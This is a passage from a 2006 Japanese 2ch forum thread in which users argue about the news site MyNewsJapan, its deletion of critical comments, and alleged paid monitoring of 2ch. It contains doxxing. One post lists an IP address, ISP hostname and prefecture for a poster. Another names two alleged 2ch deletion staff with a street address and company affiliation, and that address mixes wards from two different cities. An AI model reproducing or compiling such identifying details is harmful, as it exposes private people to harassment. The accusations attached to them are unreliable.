ーーーーーーーーーーーー<切り取り線>ーーーーーーーーーーーーーーーーー

■2ちゃんねる内部運営スタッフ(プロ固定)名簿
───────────────────────────────────
※各個人の名前を検索にかけると、さらなる詳しい情報が楽しめます。

(名簿は、取り敢えず省略。)

ーーーーーーーーーーーー<切り取り線>ーーーーーーーーーーーーーーーーー

※2chに誹謗中傷されて困ってる企業や、友達に教えてあげよう。
当メール内容の一切の著作権は放棄しております(笑)


324 :コピー貼っていい?:2006/09/10(日) 08:01:04 ID:TrCJN0gl0
MyNewsJapanの渡邊氏には、名簿や2ちゃん管理ビジネス等について連絡しておきます。
誰かに依頼されたのかもしれませんが、他人を中傷するような内容のスレッドを立てたり、MyNewsJapanのサイトを荒らすのはおやめなさい。
でないと、相応の対応を取られますよ。もう手後れかもしれませんが・・
以上

325 :陸奥:2006/09/10(日) 08:20:45 ID:R/CMUUfJ0
おはよう

326 :法案成立:2006/09/10(日) 08:51:03 ID:DcZ58V6a0
特定の企業を罵倒するような内容の記事を書いたり、MyNewsJapanのサイトからコメントを削除するのはおやめなさい。
でないと、相応の批判をくらいますよ。もう手遅れかもしれませんが・・
以上

327 :ほげーー:2006/09/10(日) 09:11:59 ID:YRNAtxBG0
>>324
誰か依頼する人って、いるの?
何を依頼するの?


328 :ありえん!:2006/09/10(日) 09:38:34 ID:GiLt7pKM0
そっか!

JALか誰かに依頼でもされていると、本気で思ってるんだな。
ホント、終わってるな。


329 :ボウフラ:2006/09/10(日) 09:49:53 ID:sbWsWScq0
http://qb5.2ch.net/test/read.cgi/saku2ch/1153797691/74-


兵庫から依頼乙w

330 :朝刊:2006/09/10(日) 10:03:10 ID:QFxuK2nK0
これか

IPアドレス 219.165.247.29
ホスト名 i219-165-247-29.s02.a028.ap.plala.or.jp
IPアドレス
 割当国 ※ 日本 (JP)
都道府県 兵庫県
市外局番 --
接続回線 xDSL

331 :ドル安:2006/09/10(日) 10:03:22 ID:TrCJN0gl0
スレ立て人を始め、渡邊氏やMyNewsJapanのことをよく知ってるな。
と思わされる内容を書き込んでいる人がいるからね。可能性がない
とも言い切れないかと・・。
327さんや328さんは、2ちゃんねる監視ビジネスの存在だとか、そ
の依頼主などについてご存知ないようですね。
今回の件は、ただの読者ではなく、比較的身近にいる人がやった可
能性も十分考えられると思えます。
あと、終わってるのは2ちゃんで糞レスを付けてる君達の方ですよ。


332 :連帯責任:2006/09/10(日) 10:10:10 ID:TrCJN0gl0
●岡田とおる 2ちゃんねる 削除人 札幌市中央区此花区春日出北1丁目26−3
●上田浩 東京プラス 取締役 2ちゃんねる削除人 (有)ユニット代表

333 :世界遺産:2006/09/10(日) 10:13:29 ID:tPdytd2I0
良く知ってるも何も、サイトトップから会社概要とかに移動すれば簡単に手に入る情報だけのような・・・。


334 :世界遺産:2006/09/10(日) 10:26:54 ID:tPdytd2I0
「本物のビールは・・・」の方。
またまた記事が加筆修正されてる・・・。
酒税法的にビールではない発泡酒と第3のビールを含めた統計はおかしいと書いた翌朝なんだけど・・・

335 :GJ!:2006/09/10(日) 10:53:34 ID:WugSxJWt0
権力を監視することが目的で設立したニュース(wサイトなんだが、
これだけ私感で企業批判を大々的にやってると、このサイト自体が
一種の権力をもってくるよな。権威があるかどうかはともかく。

そのサイトを監視したり、私感で批判したりするのが駄目なの?

ま、権力を監視するとか言って警察行政を批判しておきながら、
自分が管理権限もっているサイトにちょっと変な書き込みがあった
くらいで警察に泣きつくってのもどうなのかねぇ

336 :ありえん!:2006/09/10(日) 11:07:05 ID:GiLt7pKM0
だからさぁ、事実誤認があるなら、自分のサイトでも、
ここでも良いから正々堂々と反論しなさいっての。

ってか、みんなあんたの反論が聞きたいのよ。


337 :独立記念日:2006/09/10(日) 11:15:30 ID:TrCJN0gl0
私は、渡邊氏とは別人ですよ。
こんなところで油を売ってる暇はないので、失礼する。さようなら


338 :大物:2006/09/10(日) 11:16:41 ID:Fb/s3pnC0
>>331
誹謗中傷ってのは、根拠なく悪口を言って相手の名誉を傷つけることだろ。
騒ぎが大ききなってる最大の原因は、
論理的に疑問を投げかけ、矛盾を指摘しているコメントまで削除しまくってる
MyNewsJapanにあるのは確かだぞ。

>今回の件は、ただの読者ではなく、比較的身近にいる人がやった可
能性も十分考えられると思えます。

MyNewsは以前から、思い込みと決め付けの激しい記事の内容と、
一貫性のないコメント削除のやり方で、
かなりの読者に反感を買ってたのは事実で、今回はそれが爆発しただけ。
やつのことだから、騒ぎに便乗してる身近な人間もいるかもしれないが、
本質は、以前からの独善的なMyNewsの姿勢。

玉石混淆なのは2chの常識
スレ全体を糞とみなすような発言はどうかと思うな。

339 :だまれニート:2006/09/10(日) 11:20:07 ID:WugSxJWt0
結局、これまでは紙媒体で他者の痛烈な批判を一方的に掲載すれば、
そこそこ読者の食いつきも良かったし、読者の反論なんかは黙殺できたんだよね。
少々デキる編集なら、反論を自分の都合の良いようにまとめて
あたかも真摯に反論に対応しているように見せれば、また売れるはず。

でも、イソターネットを使って不特定多数からの書き込みを許した時点で、
これまでとは違う対応が必要になる、っていうことに気づかなきゃ駄目でしょ。

あ、これは一般論で、特定のサイトや誰かのことじゃないよw





340 :なんじゃこりゃ。:2006/09/10(日) 11:20:42 ID:aFHezPk00
少なくともマスコミはジャーナリストじゃないってことは常識になってきたな。

341 :だまれニート:2006/09/10(日) 11:27:34 ID:WugSxJWt0
お、サイトに養護派登場w

342 :マラカス:2006/09/10(日) 11:43:15 ID:giEVN3wO0
>>341
渡邉だったりしてなw

343 :なにこれ?:2006/09/10(日) 12:21:33 ID:WugSxJWt0
>>342

主題が何か決めるのは、やっぱり記事書いた本人だよなぁ

>梁山泊 11:29 09/10 2006
>それと、この記事は消費者側の「リスクコントロール」の問題に
>まったく無関係というわけではないが、それが主題ではない。

344 :なにこれ?:2006/09/10(日) 12:36:19 ID:WugSxJWt0
そのうち、

「大企業が2ちゃんねるを利用して、言論の自由を弾圧しようとしている」

なんて記事ができあがりそうだなw

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